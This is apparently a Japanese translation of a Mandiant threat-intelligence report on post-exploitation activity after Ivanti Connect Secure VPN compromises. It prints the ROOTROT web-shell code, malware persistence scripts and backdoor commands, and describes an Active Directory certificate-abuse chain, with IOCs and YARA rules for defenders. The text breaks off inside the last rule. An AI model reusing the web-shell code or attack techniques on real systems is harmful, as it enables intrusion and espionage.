コンテンツに移動
脅威インテリジェンス

最先端の脅威 - Part 4: Ivanti Connect Secure VPN の脆弱性悪用後のラテラル ムーブメントに関する事例紹介

2024年4月23日
Mandiant

営業担当へのお問い合わせ

セキュリティについてのご相談はこちらからお問い合わせください。

お問い合わせ

※この投稿は米国時間 2024 年 4 月 5 日に、Google Cloud blog に投稿されたものの抄訳です。

2024 1 10 日に CVE-2023-46805 CVE-2024-21887 初めて公表されて以来、Mandiant は、幅広い業種と地域で複数のインシデント対応業務を実施してきました。Mandiant の過去のブログ投稿「最先端の脅威 - Part 3: Ivanti Connect Secure VPN の悪用と永続性の調査」では、Mandiant UNC5325 として追跡しており、中国との関連性が疑われるエスピオナージ アクターによる CVE-2024-21893 CVE-2024-21887 のゼロデイ悪用について詳しく説明しています。

このブログ投稿と、Ivanti の脆弱性悪用について詳述している Mandiant の過去のレポートでは、パッチや適切な緩和策が適用されていない脆弱な Ivanti Connect Secure アプライアンスで Mandiant が観測してきたさまざまな種類のアクティビティが明確に示されています。

Mandiant は、オープンソース ツールやカスタム マルウェア ファミリーの展開によってサポートされるラテラル ムーブメントを含む、脆弱性悪用後の多様なアクティビティをインシデント対応業務の中で観測してきました。また、中国との関連性が疑われる脅威アクターが、目的達成のためにアプライアンス固有の機能を悪用し、Ivanti Connect Secure の理解を進化させていることも見てきました。

2024 4 3 日より、脆弱性の影響を受ける Ivanti Connect Secure のすべてのサポート対象バージョンに対してパッチを適用できます。Ivanti の最新のパッチ適用ガイダンスと、脆弱性を悪用した追加のアクティビティを防ぐための指示に従うことをおすすめします。また、Ivanti は、ファクトリーリセットやシステム アップグレードに対抗するマルウェア永続化の試行や、実際の環境で観測されているその他の戦術、技術、手順(TTP)を検出するための強化された新しい完全性チェックツールICT)をリリースしました。Mandiant も、推奨事項を含む修復とセキュリティ強靭化のガイドをリリースしました。

Mandiant は、内部の ICT と、包括的な多層防御戦略の一環として 2024 4 3 日に新しいパッチとともにリリースされた最新の外部 ICT の両方を実行することをおすすめします。Mandiant は、このプロセスを通じた Ivanti の協力、情報公開、継続的なサポートに感謝しています。

クラスタリングとアトリビューション

Mandiant は、インシデント対応調査を通じて、CVE-2023-46805CVE-2024-21887CVE-2024-21893 を悪用するアクティビティのクラスタを複数追跡しています。また、中国との関連性が疑われるエスピオナージ グループに加え、おそらくクリプトマイニングなどの活動を目的として CVE-2023-46805 CVE-2024-21887 を悪用する金銭目的のアクターを特定しました。Mandiant は、これらの Ivanti CVE のうち 1 つ以上の悪用に関与する 8 つの異なるクラスタを 2024 1 10 日の公表以来観測してきました。これらのうち、ここでは侵入を実施した中国関連の 5 つのクラスタを取り上げます。

2024 2 月、Mandiant UNC5291 として追跡されているアクティビティのクラスタを特定し、米国のエネルギー部門と防衛部門を標的とする Volt Typhoon であると評価しています(確度は中程度)。UNC5291 キャンペーンは 2023 12 月に Citrix Netscaler ADC を標的とし、2024 1 月中旬に Ivanti Connect Secure アプライアンスを調査しましたが、Mandiant Volt Typhoon Ivanti Connect Secure の侵害に成功したことを直接は観測していません。

UNC5221

UNC5221 は、CVE-2023-46805 CVE-2024-21887 2023 12 月上旬以降の公表前期間中に悪用していた唯一のグループとして Mandiant が追跡している、中国との関連が疑われるアクターです。Mandiant 過去のブログ投稿に記載されているように、UNC5221 2024 1 10 日の公表後も CVE-2023-46805 CVE-2024-21887 を広範にわたって悪用しました。

UNC5266

Mandiant は、Bishop Fox SLIVER インプラント フレームワーク、WARPWIRE の亜種、Mandiant TERRIBLETEA と名付けた新しいマルウェア ファミリーの展開につながる公表後の脆弱性悪用を追跡するために、UNC5266 を作成しました。現時点では、観測されたインフラストラクチャ使用の類似点に基づき、Mandiant UNC5266 UNC3569 と一部重なっているのではないかと考えています(確度は中程度)。UNC3569 は、ターゲット環境への初期アクセスを目的とする Aspera FaspexMicrosoft ExchangeOracle Web Applications Desktop Integrator などの脆弱性悪用が観測された中国関連のエスピオナージ アクターです。

UNC5330

UNC5330 は、中国との関連が疑われるエスピオナージ アクターです。UNC5330 による Ivanti Connect Secure VPN アプライアンスの侵害を目的とした CVE-2024-21893 CVE-2024-21887 のチェイニングは、2024 2 月から観測されてきました。UNC5330 による侵害後のアクティビティには、PHANTOMNET TONERJAM の展開が含まれます。UNC5330 は、偵察、ラテラル ムーブメント、レジストリ エントリの操作、永続性の確立に Windows Management InstrumentationWMI)を使用してきました。

Mandiant は、UNC5330 がサーバーを操作し、エンドポイントへの悪意のあるツール展開を促進する GOST プロキシとして使用していることを 2021 12 6 日から観測していました。GOST プロキシのデフォルト証明書は、2022 9 1 日から 2024 1 1 日まで観測されていました。また、UNC5330 は、侵害された Ivanti Connect Secure デバイスを経由し、2024 2 3 日にこのサーバーから Fast Reverse ProxyFRP)をダウンロードしようとしました。SSH 認証鍵の再利用と、これらのイベントの時間差が小さいことを考慮し、Mandiant UNC5330 が少なくとも 2021 年からこのサーバーを経由して活動してきたと評価しています(確度は中程度)。

UNC5337

UNC5337 は、2024 1 月から Ivanti Connect Secure VPN アプライアンスを侵害してきた、中国との関連が疑われるエスピオナージ アクターです。UNC5337 は、Ivanti Connect Secure アプライアンスを感染させるため、CVE-2023-46805(認証のバイパス)と CVE-2024-21887(コマンド インジェクション)を悪用した疑いがもたれています。UNC5337 は、SPAWNSNAIL パッシブ バックドア、SPAWNMOLE トンネラ、SPAWNANT インストーラ、SPAWNSLOTH ログ改ざんユーティリティを含む複数のカスタム マルウェア ファミリーを利用しました。Mandiant は、UNC5337 UNC5221 ではないかと考えています(確度は中程度)。

UNC5291

UNC5291 は、一般に Volt Typhoon としても知られる UNC3236 と関連すると Mandiant が評価する(確度は中程度)、標的型調査アクティビティのクラスタです。このクラスタのアクティビティは、2023 12 月に始まった時点では Citrix Netscaler ADC を主な標的としていましたが、2024 1 月半ばの詳細公表後は Ivanti Connect Secure デバイスに標的を切り替えました。学術、エネルギー、防衛、保健の分野に対する調査が観測されましたが、これは過去に Volt Typhoon が重要インフラに関心を示していたことと整合します。2024 2 月に、米国サイバーセキュリティ インフラストラクチャ セキュリティ庁(CISA)は、Volt Typhoon が重要インフラを標的にしており、初期アクセスに関して Ivanti Connect Secure デバイスに関心を持っている可能性があるという勧告的警告を発表しました。

新しい TTP とマルウェア

Mandiant は、Ivanti の脆弱性悪用に関する前のブログ記事を公開した後、脅威アクターがターゲット環境へのアクセスとその中でのラテラル ムーブメントに使用した追加の TTP を特定しました。また、Ivanti Connect Secure アプライアンスの脆弱性の悪用後に脅威アクターが利用した新しいコード ファミリーも複数特定しました。これらのコード ファミリーのうち複数がカスタム マルウェア ファミリーであると評価されていますが、Mandiant SLIVER CrackMapExec などのオープンソース ツールの使用も特定しています。

SPAWN マルウェア ファミリー

Mandiant は、UNC5221 によって侵害された Ivanti Connect Secure アプライアンスの分析中に、感染したアプライアンス上に永続的なステルス バックドアを作成するために密接に連携する 4 つの異なるマルウェア ファミリーを発見しました。これらのマルウェア ファミリーは、長期的なアクセスを可能にして検出を回避するように設計されていると評価しています。

1 は、SPAWN マルウェア ファミリーの動作を示しています。

https://storage.googleapis.com/gweb-cloudblog-publish/images/cutting-edge4-fig1.max-1600x1600.png

図 1: SPAWN マルウェア ファミリーの仕組み

SPAWNANT

SPAWNANT は、coreboot インストーラ ファンクションを使用して、SPAWNMOLE トンネラと SPAWNSNAIL バックドアの永続性を確立するインストーラです。正規の dspkginstall インストーラ プロセスをハイジャックし、sprintf ファンクションをエクスポートして、フローを vsnprintf にリダイレクトする前に悪意のあるコードを追加します。

SPAWNMOLE

SPAWNMOLE は、web プロセスにインジェクションされるトンネラです。web プロセスで accept ファンクションをハイジャックし、トラフィックをモニタリングして、攻撃者からの悪意のあるトラフィックを除外します。悪意のない残りのトラフィックは、変更されずに正規のウェブサーバー ファンクションに渡されます。悪意のあるトラフィックは、バッファで攻撃者から提供されたホストにトンネリングされます。Mandiant は、攻撃者は SPAWNSNAIL が動作しているローカルポートを通過してバックドアにアクセスする可能性が高いと評価しています。

  • このマルウェアは web というプロセスへのインジェクションを試みます。

  • このマルウェアは web プロセス内の libc バイナリから accept API のハイジャックを試みます。

  • このマルウェアは、インジェクションにサードパーティ ライブラリを使用するため、PIE(位置に依存しない実行可能ファイル)として特別にコンパイルされています。

  • マルウェア トラフィックは、受信バッファの 0xfb49e3e2(オフセット 0x13)と 0x1bc38361(オフセット 0x1b)を含むヘッダーで始まる必要があります。

SPAWNSNAIL

SPAWNSNAILlibdsmeeting.so)は、localhost をリッスンするバックドアです。dsmdm プロセス(モバイル デバイス管理機能をサポートするプロセス)へのインジェクションによって実行されるよう設計されています。localhost ポート 8300 で限定された SSH サーバーを公開することでバックドアを作成します。Mandiant は、攻撃者が SPAWNMOLE トンネラを使用して SPAWNSNAIL を操作していると評価しています。

SPAWNSNAIL 2 つ目の目的は、Connect Secure でのイベントのロギングをサポートするプロセスである dslogserver への SPAWNSLOTH.liblogblock.so)のインジェクションです。

SPAWNSNAIL では、バイナリ名が dsmdm であるかどうかがチェックされます。この名前で実行中の場合は、以下の 2 つのスレッドが作成されます。

  1. 1 つ目のスレッドでは、ハードコードされた SSH ホストの秘密鍵が /tmp/.dskey にドロップされ、その秘密鍵を使用するよう libssh が構成された後、/tmp/.dskey が削除されます。このマルウェアはポート 8300 localhost にバインドされます。

    1. SSH サーバーでは公開鍵認証が要求されます。

    2. 対話型のシェル セッションの開始時に、このマルウェアによってシステムに関する統計を含むバナーが印刷されます。リリース、稼働時間、現在の時刻、SELinux が有効かどうかに関する情報が印刷されます。その後、SPAWNSNAIL により対話型の bash シェルが実行されます。

  2. 2 つ目のスレッドにより、dslogserver プロセスへのログ改ざんユーティリティ SPAWNSLOTH/tmp/.liblogblock.so)のインジェクションが最大 3 回実行されます。

SPAWNSLOTH

SPAWNSLOTH は、dslogserver プロセスにインジェクションされるログ改ざんユーティリティです。PAWNSNAIL バックドアの動作中に、ロギングと外部 Syslog サーバーへのログ転送を無効にできます。

SPAWNSLOTH は、funchook を使用して _ZN5DSLog4File3addEPKci ファンクション(dslogserver のロギング ファンクションと想定される)をフックします。また、g_do_syslog_servers_exist_p シンボルを変更します。これは、イベントログを外部 Syslog サーバーに転送するかどうかを制御するグローバル変数のポインタです。

SPAWNSLOTH は、共有メモリを介したプロセス間通信(IPC)を使用して SPAWNSNAIL バックドアと通信します。SPAWNSNAIL の実行中にのみ、ロギングがブロックされます。

ルートへの到達

Mandiant は、UNC5221 によって侵害された Ivanti Connect Secure アプライアンスの調査中に、ROOTROT として追跡している新しいウェブシェルを特定しました。ROOTROT は、CVE-2023-46805 CVE-2024-21887 を悪用することで /data/runtime/tmp/tt/setcookie.thtml.ttc にある正規の Connect Secure .ttc ファイルに埋め込まれる、Perl で記述されたウェブシェルです。setcookie.thtml.ttc はアプライアンスの書き込み可能なパーティションにあり、CVE-2019-11539 CVE-2020-8218 に関連する過去の Pulse Connect Secure 悪用イベントで同じファイルが悪用されました。

2 は、ROOTROT を含む setcookie.thmtl.ttc ファイルに挿入されたコードを示しています。このウェブシェルには、/dana-na/auth/setcookie.cgi でアクセスできます。これにより、発行済みのデコードされた Base64 エンコード コマンドが解析され、eval を使用して実行されます。

   $output .=  "</body>\n\n</html>\n";
        $output .= "<!--\n";
        my $key = CGI::param('[REDACTED]');
        use MIME::Base64;
        if(defined($key)){
                my $arg=decode_base64("$key");
                eval($arg);
        }
        $output .= "-->\n";
        } };
        if ($@) {
            $error = $context->catch($@, \$output);
            die $error unless $error->type eq 'return';
        }
    
        return $output;
    },

2: setcookie.thtml.ttc ファイルに挿入されたコードブロック

Mandiant は調査中に、2024 1 10 日の関連する CVE の公表前にシステムでウェブシェルが作成されていたことを特定しました。これは、標的型攻撃がさらに行われることを示しています。防御者は、/dana-na/auth/setcookie.cgi からの応答の末尾にある <!--\n -->\n によって ROOTROT の存在を検出できます。

2024 4 3 日より、最新の外部 ICT setcookie.thtml.ttc の変更が検出されます。

vCenter の侵害につながるラテラル ムーブメント

UNC5221 によって Connect Secure アプライアンスに ROOTROT が展開され、足場が確立された後、被害組織のネットワークに対するネットワーク偵察が開始され、VMware vCenter サーバーへのラテラル ムーブメントが実行されました。Mandiant は、UNC5221 のラテラル ムーブメントに最初は vCenter ウェブ コンソール、その後は SSH が使用されたことを特定しました。

vCenter サーバーへのラテラル ムーブメントの後、UNC5221 は環境内の他のサーバーと整合する命名規則を使用して vCenter で新しい仮想マシンを 3 回作成しました。仮想マシンの作成は成功しましたが、Mandiant UNC5221 が仮想マシンの実行や使用に成功した証拠を特定できませんでした。

その後、UNC5221 SSH を使用して vCenter アプライアンスにアクセスし、BRICKSTORM バックドアをアプライアンスにダウンロードしました(/home/vsphere-ui/vcli。注目すべきは、BRICKSTORM が正規の vCenter プロセス vami-http のふりをしているように見えることです。

BRICKSTORM

BRICKSTORM は、VMware vCenter サーバーを標的とする Go バックドアです。それ自体をウェブサーバーとして設定し、ファイル システムとディレクトリの操作、アップロードやダウンロードなどのファイル操作、シェルコマンド、SOCKS リレーを実行できます。BRICKSTORM は、WebSocket を介してハードコードされた C2 と通信します。

実行時に、BRICKSTORM は環境変数 WRITE_LOG をチェックして、ファイルを子プロセスとして実行する必要があるかどうかを決定します。この変数が false を返すか、未設定の場合、BRICKSTORM サンプルが /home/vsphere-ui/vcli から /opt/vmware/sbin vami-httpd としてコピーされます。その後、コピーされた BRICKSTORM サンプルが実行され、実行が終了します。

 WRITE_LOG true に設定されていると、正しいプロセスとして実行されていると想定され、/opt/vmware/sbin/vami-httpd が削除されて、実行が続けられます。

BRICKSTORM には、セルフモニタリング機能を含む Watcher という個別のファンクションがあります。環境変数 WORKER false を返すか、未設定の場合、モニタリングが続行され、ファイル /home/vsphere-ui/vcli がチェックされ、内容が /opt/vmware/sbin/vami-httpd にコピーされます。その後、適切な環境変数が設定され、プロセスが生成されます。その後、Watcher プロセスで、子プロセスの終了ステータスのモニタリングが開始されます。

環境変数 WORKER true に設定されていることが検出された場合、それはバックドア機能を実行するために生成されたワーカー プロセスであると想定され、残りの Watcher ファンクションはスキップされます。

BRICKSTORM は、WebSocket を使用して C2 と通信します。このサンプルには、wss://opra1.oprawh.workers[.]dev のハードコードされた WebSocket アドレスが含まれます。また、以下のような正規の DNS-over-HTTPSDoH)アドレスも含まれます。

https://9.9.9.9/dns-query
https://45.90.28.160/dns-query
https://45.90.30.160/dns-query
https://149.112.112.112/dns-query
https://9.9.9.11/dns-query
https://1.1.1.1/dns-query
https://1.0.0.1/dns-query
https://8.8.8.8/dns-query
https://8.8.4.4/dns-query

3: DNS-over-HTTPS アドレス

BRICKSTORM は、wssoft というカスタム Go パッケージを利用しているようです。この名前で一般公開されている既知の Go パッケージは存在しません。これは、マルウェアのタスク処理と接続処理を実行するためにマルウェア作成者によって開発されたメイン パッケージである可能性があります。

1 では、wssoft で提供される 4 つのコア ファンクションが示されています。

ファンクション

コメント

ウェブサーバーの生成

受け入れられるルートとエンドポイントは以下をご覧ください

コマンドの実行

/bin/sh を使用してシェルコマンドを実行します

コマンドの実行(「NoContext」)

os. Exec の呼び出しを使用してシェルコマンドを実行します

コマンド run_shell exit を受け入れる可能性があります

SOCKS リレー

接続プロキシ

1: wssoft の機能

バックドア機能が有効な場合、受信コマンドを処理するためのウェブサーバーが生成されます。Gorilla/mux を使用してエンドポイント ルーティングを処理し、lonnng/nex を使用してデータを JSON に整理します。

2 は、POST リクエストを介した BRICKSTORM バックドアへの通信に使用されるエンドポイントを示しています。

エンドポイント

ファンクション

/api/file/change-dir

ディレクトリの移動

/api/file/delete-dir

Deletes a directory

/api/file/delete-file

ファイルの削除

/api/file/mkdir

ディレクトリの作成(必要に応じたサブディレクトリの作成)

/api/file/list-dir

ディレクトリ コンテンツの一覧表示

/api/file/rename

ファイル名の変更

/api/file/put-file

宛先パスを指定したファイルのアップロード(オプションでファイルに追加可能)

/api/file/get-file

ファイルのダウンロード

/api/file/slice-up

大きなファイルを個別のチャンクでアップロード可能

/api/file/file-md5

ファイル MD5 の計算

/api/file/up

ウェブフォームを使用したファイルのアップロード(SHA256 ハッシュを含む)

/api/file/stat

ファイル情報の取得

2: BRICKSTORM のエンドポイント

Active Directory の侵害につながるラテラル ムーブメント

UNC5330 は、Cutting Edge パート 3 で説明されている CVE-2024-21893 CVE-2024-21887 のチェイニング戦術により、被害組織環境への初期アクセスを達成しました。アクセスの達成直後に、UNC5330 は侵害された Ivanti Connect Secure アプライアンスで構成された LDAP バインド アカウントを利用して脆弱性のある Windows Certificate Template を悪用し、コンピュータ オブジェクトを作成して、ドメイン管理者に証明書を要求しました。その後、脅威アクターはドメイン管理者になりすまして後続の DCSync を実行し、ラテラル ムーブメントのため追加の認証情報を抽出しました。

攻撃パスの図

https://storage.googleapis.com/gweb-cloudblog-publish/images/cutting-edge4-fig4.max-1500x1500.png

図 4: UNC5330 の攻撃パスの図

Windows Certificate Template の悪用

UNC5330 は、LDAP バインド操作用に Ivanti アプライアンスで構成された ldap-ivanti アカウントを使用して、ドメイン コンピュータ オブジェクト testComputer$ を作成しました。UNC5330 は、新たに作成された testComputer$ コンピュータ オブジェクトを使用して、ドメイン コンピュータに登録権利を付与した脆弱性のある証明書テンプレートからの証明書を要求しました。UNC5330 は、ドメイン管理者アカウントの証明書を要求し、その証明書を使用して Kerberos TGT を取得し、DCSync 攻撃を実行して、ラテラル ムーブメントを可能にする追加のドメイン認証情報を取得しました。

ドメイン管理者権限を取得すると、UNC5330 WMI を利用して TONERJAM ランチャーと PHANTOMNET バックドアを展開しました。

WMI イベント コンシューマ

WMI は、スケジュール設定され、後で削除されるタスクを作成、実行することを主な手段としてラテラル ムーブメントを実行し、被害組織環境内で永続性を確立するために使用されました。ActiveScript イベント コンシューマにより、以下が実行されました。

  1. トリガーのタイプ 7(登録時のタスク開始)でスケジュールされたタスクを作成、登録することによる cmd.exe を使用したコマンドの実行

  2. C:\Windows\Temp .log ファイルに対するコマンド出力の書き込み

  3. スケジュールされたタスクの削除

この動作と、WMI アーティファクトと出力ファイルの両方に使用される命名規則は、SMB に依存しない WMI 実行用に DCE RPC を実装する CrackMapExec の最新バージョンと整合しています。Mandiant は、この手法が TONERJAM PHANTOMNET の展開に使用されていることを観測しました。

TONERJAM

TONERJAM は、暗号化されたローカル ファイルとして保存されたシェルコード ペイロード(この場合は PHANTOMNET)を復号して実行し、暗号化されたペイロードの最後の 16 バイトの SHA ハッシュから取得された AES キーを使用して復号するランチャーです。TONERJAM は、実行時に付与された権限に応じ、Run レジストリキーを使用するか、COM オブジェクトをハイジャックすることで永続性を維持します。

PHANTOMNET

PHANTOMNET は、TCP を介し、カスタム通信プロトコルを使用して通信するモジュール型バックドアです。PHANTOMNET のコア機能には、プラグイン管理システムによる機能の拡張が含まれます。ダウンロードされたプラグインは、メモリに直接マッピングされ、実行されます。

SLIVER C2

別の侵入時に、UNC5266 は構成されたコマンド&コントロール(CC)サーバーと同じ IP アドレスでホストされる Python SimpleHTTP サーバーから SILVER のコピーを取得しました。SLIVER のコピーは、侵害されたアプライアンスの 3 つの別々の場所に配置され、正規のシステム ファイルのふりをしようとしました。UNC5266 は、systemd サービス ファイルを変更し、SLIVER のコピーの 1 つを永続デーモンとして登録しました。

[パス]

説明

/home/bin/netmon

SLIVER

/home/bin/logd

SLIVER

/home/runtime/logd

SLIVER

/home/config/logd.spec.cfg

systemd サービス ユニット構成ファイル

3: SLIVER のコンポーネント

また、UNC5266 最先端の脅威 - Part 2 で報告された WARPWIRE の亜種を利用しました。この亜種は、ルワンダにある侵害されたウェブサーバーから UNC5266 がダウンロードしたと Mandiant は考えています。WARPWIRE の亜種の詳細については、最先端の脅威 - Part 2 のブログの図 18 をご覧ください。

TERRIBLETEA

別の侵入時に、UNC5266 SLIVER の操作で使用したものと同じ WARPWIRE サンプルを使用しました。しかし、SLIVER の代わりに、UNC5266 Mandiant TERRIBLETE と名付けた Go バックドアを展開しました。この侵入で、アクターは curl を使用してバックドアをダウンロードしようとしましたが、ログによるとこの試みは失敗に終わりました。curl を使用したダウンロードが最後に失敗してから 7 分後、UNC5266 は匿名ファイル共有サイト pan.xj.hk への wget リクエストを実行しました。UNC5266 は、この中間の 7 分間に TERRIBLETEA をファイル共有サイトにアップロードしたと考えられます。

TERRIBLETEA は、HTTP を介して通信し、暗号化された通信には XXTEA を使用する Go バックドアです。複数のオープンソース Go モジュールを使用して構築されており、以下を含む多数の機能を備えています。

  • コマンドの実行

  • キーロガー

  • SOCKS5 プロキシ

  • ポートスキャン

  • ファイル システム操作

  • SQL クエリ実行

  • 画面キャプチャ

  • 新しい SSH セッションを開き、コマンドを実行し、ファイルをリモート サーバーにアップロードする機能。以下のコマンドを実行できます。

    • chmod +x /tmp/.udevd

    • /tmp/.udevd <args>

    • ls -lahrt /home/

TERRIBLETEA は、linux_amd64 環境と darwin_amd64 環境のどちら向けに構成されているかに応じて、実行パスを選択できます。ここでは、TERRIBLETEA linux_amd64 環境向けに構成されています。サンプルは、/etc/profile.d/cron.sh にある Bash プロファイル スクリプトを使用して永続化されます。

# Initialization script for bash and sh
# export AFS if you are in AFS environment
a=`ps -fe|grep /bin/cron |grep -v grep|wc|awk '{print$1}'`
if [ "$a" -eq 0 ] 
then
/bin/cron
fi

5: TERRIBLETEA Bash プロファイル スクリプト

見通しと影響

このブログと、最近公開され、Ivanti Connect Secure アプライアンスを標的とする UNC5325 に焦点を当てた 最先端の脅威 - Part 3 は、エッジ アプライアンスが直面する脅威を明確に示しています。Mandiant は、活動のためにゼロデイと N デイの脆弱性を積極的に利用し、世界中の組織を攻撃している中国関連の脅威アクターを引き続き監視していきます。

Mandiant は、エッジ アプライアンスに対する脆弱性の悪用を受け、幅広い TTP を引き続き監視していきます。以前に報告したように、中国と関連する脅威アクターは防御者による検出を回避するためにステルス性を進化させ続けています。オープンソース ツールの使用がある程度一般的になっていますが、標的とするアプライアンスや環境向けのカスタム マルウェアを利用するアクターについて、Mandiant は監視を継続していきます。

セキュリティ侵害インジケーター(IoC

ホストベース インジケーター(HBI

ファイル名

MD5

説明

data.dat

9d684815bc96508b99e6302e253bc292

PHANTOMNET

epdevmgr.dll

b210a9a9f3587894e5a0f225b3a6519f

TONERJAM

libdsproxy.so

4f79c70cce4207d0ad57a339a9c7f43c

SPAWNMOLE

libdsmeeting.so

e7d24813535f74187db31d4114f607a1

SPAWNSNAIL

.liblogblock.so

4acfc5df7f24c2354384f7449280d9e0 

SPAWNSLOTH

.dskey

3ef30bc3a7e4f5251d8c6e1d3825612d

SPAWNSNAIL 秘密鍵

なし

bb3b286f88728060c80ea65993576ef8

TERRIBLETEA

なし

cfca610934b271c26437c4ce891bad00

TERRIBLETEA

なし

08a817e0ae51a7b4a44bc6717143f9c2

TERRIBLETEA

linb64.png

e7fdbed34f99c05bb5861910ca4cc994

SLIVER

lint64.png

c251afe252744116219f885980f2caea

SLIVER

linb64.png

4f68862d3170abd510acd5c500e43548

SLIVER

lint64.png

9d0b6276cbc4c8b63c269e1ddc145008

SLIVER

logd

71b4368ef2d91d49820c5b91f33179cb

SLIVER

winb64.png

d88bbed726d79124535e8f4d7de5592e

SLIVER

logd.spec.cfg

846369b3a3d4536008a6e1b92ed09549

SLIVER の永続性

なし

8e429d919e7585de33ea9d7bb29bc86b

SLIVER のダウンローダー

なし

fc1a8f73010f401d6e95a42889f99028

PHANTOMNET

なし

e72efc0753e6386fbca0a500836a566e

PHANTOMNET

なし

4645f2f6800bc654d5fa812237896b00

BRICKSTORM

4: ホストベース インジケーター

ネットワークベース インジケーター(NBI

ネットワーク インジケーター

タイプ

説明

8.218.240[.]85

IPv4

脆弱性悪用後のアクティビティ

98.142.138[.]21

IPv4

脆弱性悪用後のアクティビティ

103.13.28[.]40

IPv4

脆弱性悪用後のアクティビティ

103.27.110[.]83

IPv4

脆弱性悪用後のアクティビティ

103.73.66[.]37

IPv4

脆弱性悪用後のアクティビティ

193.149.129[.]191

IPv4

脆弱性悪用後のアクティビティ

206.188.196[.]199

IPv4

脆弱性悪用後のアクティビティ

oast[.]fun

ドメイン

脆弱性悪用後の検証

cpanel.netbar[.]org

ドメイン

WARPWIRE 亜種 C2 サーバー

pan.xj[.]hk

ドメイン

脆弱性悪用後のアクティビティ

akapush.us[.]to

ドメイン

SLIVER C2 サーバー

opra1.oprawh.workers.dev

ドメイン

BRICKSTORM C2 サーバー

5: ネットワークベース インジケーター

YARA ルール

rule M_Hunting_Webshell_ROOTROT_1 {
  meta:
    author = "Mandiant"
    description = "This rule detects ROOTROT, a web shell written in 
Perl that is embedded into a legitimate Pulse Secure .ttc file to 
enable arbitrary command execution."
    md5 = "c7ffd2c06e9b7e8e0b7ac92a0dbe3294"
  strings:
    $s1 = "use MIME::Base64" ascii
    $s2 = {6d 79 20 24 61 72 67 3d 64 65 63 6f 64 65 5f 62 61 73 
65 36 34 28 22 24 6b 65 79 22 29}
    $s3 = {24 6f 75 74 70 75 74 20 2e 3d 20 22 3c 21 2d 2d 5c 6e 
22 3b}
    $s4 = {22 3c 2f 62 6f 64 79 3e 5c 6e 5c 6e 3c 2f 68 74 6d 6c 3e 
5c 6e 22}
  condition:
    filesize < 4KB
    and all of them
}
rule M_Hunting_Backdoor_BRICKSTORM_1 {
  meta:
    author = "Mandiant"
    created = "2024-01-30"
    md5 = "4645f2f6800bc654d5fa812237896b00"
    descr = "Hunting rule looking for BRICKSTORM golang backdoor samples"
  strings:
    $v1 = "/home/vsphere-ui/vcli" ascii wide
    $v2 = "/opt/vmware/sbin" ascii wide
    $v3 = "/opt/vmware/sbin/vami-httpd" ascii wide
    $s1 = "github.com/gorilla/mux" ascii wide
    $s2 = "WRITE_LOG=true" ascii wide
    $s3 = "wssoft" ascii wide
    
  condition:
    uint32(0) == 0x464c457f and filesize < 6MB and 1 of ($v*) and 2 of ($s*)
}
import "pe"
rule M_APT_Backdoor_Win_PHANTOMNET_1
{
    meta:
        author = "Mandiant"
        md5 = "59f4d38a5caafbc94673c6d488bf37e3"

    strings:
        $phantomnet = /\\PhantomNet-\w{1,10}\.pdb/ ascii nocase
    condition:
        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) 
and all of them
}
rule M_APT_Backdoor_SLIVER_1
{
    meta:
        Author = “Mandiant”
        description = "Detects Windows, MacOS and ELF variants 
of the Sliver implant framework"
        md5 = "5ecd0c38501dfb02b682cec0a2d93aa9"

    strings:
        $s1 = ".InvokeSpawnDllReq"
        $s2 = ".(*InvokeSpawnDllReq).Reset"
        $s3 = ".(*InvokeSpawnDllReq).ProtoMessage"
        $s4 = ".(*InvokeSpawnDllReq).ProtoReflect"
        $s5 = ".(*InvokeSpawnDllReq).Descriptor"
        $s6 = ".(*InvokeSpawnDllReq).GetData"
        $s7 = ".(*InvokeSpawnDllReq).GetProcessName"
        $s8 = ".(*InvokeSpawnDllReq).GetArgs"
        $s10 = ".(*InvokeSpawnDllReq).GetKill"
        $s11 = ".(*InvokeSpawnDllReq).GetPPid"
        $s12 = ".(*InvokeSpawnDllReq).GetProcessArgs"
        $s13 = ".(*InvokeSpawnDllReq).GetRequest"
        $s14 = ".(*InvokeSpawnDllReq).String"
        $s15 = ".(*InvokeSpawnDllReq).GetEntryPoint"

    condition:
        ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) 
or uint32(0) == 0x464c457f or (uint32(0) == 0xBEBAFECA or uint32(0) 
== 0xFEEDFACE or uint32(0) == 0xFEEDFACF or uint32(0) == 0xCEFAEDFE)) 
and 5 of ($s*)
}
rule M_APT_Backdoor_TERRIBLETEA_1 {
    meta:
        author = "Mandiant"
        description = "This rule is designed to detect on events related 
to terribletea. TERRIBLETEA is a backdoor written in Go that communicates 
over HTTP. Its many capabilities include shell command execution, 
capturing screens, keystroke logging, port scanning, enumerating files, 
starting a SOCKS5 proxy and new SSH session, downloading files, and 
executing SQL queries."
        md5 = "bb3b286f88728060c80ea65993576ef8"
    
    strings:
        $code_part_of_getcommand = {48 BA 44 61 74 61 31 73 33 6E 
[1-12] 80 7B ?? 64}
        $code_get_task = { 48 8D  [5] B9 04 00 00 00 48 8B ?? 24 [4] 48 
8D [5] 41 B8 03 00 00 00 E8}
        $func1 = "SendRequest" fullword
        $func2 ="UploadResult"
        $func3 ="Online"
        $func4 ="GetCommond"
    condition:
        all of ($code*) and any of ($func*) and filesize<20MB  
}
rule M_Launcher_TONERJAM_1
{
    meta:
        author = "Mandiant"
        description = "This rule detects TONERJAM, a launcher that 
decrypts and executes a shellcode payload stored as an encrypted 
local file and decrypts it using an AES key derived from a SHA hash 
of the final 16 bytes of the encrypted payload."

    strings:
        $p00_0 = {e9[4]488b41??668338??75??4883c0??488941??b8[4]eb??b8}
        $p00_1 = {8030??488d40??41ffc14183f9??72??ba[4]488d4c24??e8[4]488d0d}

    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        (
            ($p00_0 in (17000..28000) and $p00_1 in (3700..14000))
        )
}
rule M_APT_Installer_SPAWNSNAIL_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects SPAWNSNAIL. SPAWNSNAIL is an SSH 
backdoor targeting Ivanti devices. It has an ability to inject a specified 
binary to other process, running local SSH backdoor when injected to 
dsmdm process, as well as injecting additional malware to dslogserver" 
        md5 = "e7d24813535f74187db31d4114f607a1"
  
    strings: 
        $priv = "PRIVATE KEY-----" ascii fullword
        
        $key1 = "%d/id_ed25519" ascii fullword
        $key2 = "%d/id_ecdsa" ascii fullword
        $key3 = "%d/id_rsa" ascii fullword
        
        $sl1 = "[selinux] enforce" ascii fullword
        $sl2 = "DSVersion::getReleaseStr()" ascii fullword
        
        $ssh1 = "ssh_set_server_callbacks" ascii fullword
